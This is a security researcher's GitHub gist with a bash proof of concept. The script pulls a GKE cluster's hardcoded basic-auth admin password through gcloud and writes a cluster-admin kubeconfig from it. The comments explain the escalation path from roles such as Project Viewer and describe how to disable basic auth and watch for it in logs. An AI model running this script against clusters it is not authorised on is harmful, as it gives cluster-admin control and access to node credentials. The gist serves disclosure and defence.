Skip to content

Instantly share code, notes, and snippets.

@bgeesaman
Last active October 31, 2020 01:00
Show Gist options
  • Save bgeesaman/021465cb009c21522f28f9560d3781be to your computer and use it in GitHub Desktop.
Save bgeesaman/021465cb009c21522f28f9560d3781be to your computer and use it in GitHub Desktop.
Obtain GKE Basic Auth Credentials and use them
#!/usr/bin/env bash
CLUSTER_NAME="basicauth"
LOCATION="--zone us-central1-a"
#LOCATION="--region us-central1"
# Get cluster metadata
echo -n "Fetching cluster metadata..."
CLUSTER="$(gcloud container clusters describe ${CLUSTER_NAME} ${LOCATION} --format=json)"
echo "done."
# Encode CA Cert in Base64
CA_CERT_B64="$(echo $CLUSTER | jq -r '.masterAuth.clusterCaCertificate')"
# Get cluster endpoint
GKE_ENDPOINT="$(echo $CLUSTER | jq -r '.endpoint')"
# Get Basic Auth Pass (In GKE, user is hardcoded as "admin"
BASIC_PASS="$(echo $CLUSTER | jq -r '.masterAuth.password')"
echo -n "Writing file: ${CLUSTER_NAME}-kubeconfig..."
cat > "${CLUSTER_NAME}-kubeconfig" <<EOF
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: ${CA_CERT_B64}
server: https://${GKE_ENDPOINT}
name: gke
contexts:
- context:
cluster: gke
user: gke
name: gke
current-context: gke
kind: Config
preferences: {}
users:
- name: gke
user:
password: "${BASIC_PASS}"
username: "admin"
EOF
echo "done."
echo "Running: KUBECONFIG=${CLUSTER_NAME}-kubeconfig kubectl get clusterroles"
sleep 1
KUBECONFIG=${CLUSTER_NAME}-kubeconfig kubectl get clusterroles
echo ""
echo "KUBECONFIG=${CLUSTER_NAME}-kubeconfig kubectl ..."
@bgeesaman
Copy link
Author

bgeesaman commented Jul 23, 2019

Adjust the name and location of the cluster and run this script:

$ ./fetchbasic.sh
Fetching cluster metadata...done.
Writing file: basicauth-kubeconfig...done.
Running: KUBECONFIG=basicauth-kubeconfig kubectl get clusterroles
NAME                                                                   AGE
admin                                                                  24m
cloud-provider                                                         22m
cluster-admin                                                          24m
edit                                                                   24m
gce:beta:kubelet-certificate-bootstrap                                 23m
gce:beta:kubelet-certificate-rotation                                  23m
gce:cloud-provider                                                     22m
kubelet-api-admin                                                      23m
stackdriver:fluentd-gcp                                                23m
...snip...
system:metrics-server                                                  23m
system:node                                                            24m
system:node-bootstrapper                                               24m
system:node-problem-detector                                           24m
system:node-proxier                                                    24m
system:persistent-volume-provisioner                                   24m
system:volume-scheduler                                                24m
view                                                                   24m

KUBECONFIG=basicauth-kubeconfig kubectl ...

If the cluster has basic auth enabled, you can run KUBECONFIG=basicauth-kubeconfig kubectl get pods -A or similar and enjoy the permissions of cluster-admin.

@bgeesaman
Copy link
Author

bgeesaman commented Jul 23, 2019

That means that if a GKE cluster is configured with basic auth enabled, the hardcoded admin credential with the RBAC equivalent permissions of cluster-admin is accessible to users/service accounts in the projects where the following roles are granted:

roles/composer.worker
roles/editor
roles/container.admin
roles/container.clusterAdmin
roles/container.clusterViewer
roles/container.developer
roles/container.viewer
roles/editor
roles/iam.securityAdmin
roles/owner
roles/viewer

The Project Viewer legacy role is commonly assigned to users that need not be able to modify things, but in this case, it provides enough of an escalation path to become cluster-admin on the cluster and then leverage pods running in the cluster to use credentials attached to the node pools.

To get a definitive list of all the roles in your project that have the permissions to read these credentials from the cluster objects, see: https://gist.github.com/bgeesaman/ed4480d4eaf93e7e5c39ae8e5c4270c3

@bgeesaman
Copy link
Author

bgeesaman commented Jul 23, 2019

These credentials can be revoked by modifying the live cluster in the GUI console. Under Kubernetes Engine, click the cluster name, then click Edit at the top, and then flip the Basic Authentication dropdown to disabled, and hit save. This causes a cluster update operation just like if you bumped cluster versions, so zonal clusters will have the control plane down for a few minutes and regional clusters you probably wouldn't notice.

Note: For GKE clusters managed via Terraform, changing the basic_auth settings will trigger a cluster destroy and create. This is most likely not what you want. You can disable it via the UI, update the Terraform to match by "blanking" the fields:

resource "google_container_cluster" "primary" {
  name     = "my-gke-cluster"
  location = "us-central1"
...snip...
  master_auth {
    username = ""
    password = ""
  }
}

and running terraform plan to validate no changes and then terraform apply to update the local state.

You might want to alert on access logs to the GKE API for the user/subject admin to know if these credentials have been or are in use.

Clusters built with GKE 1.12+ no longer have basic authentication and client-certificate authentication enabled by default, but your scripts or terraform might enable it, so it's wise to double-check even on newer versions.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment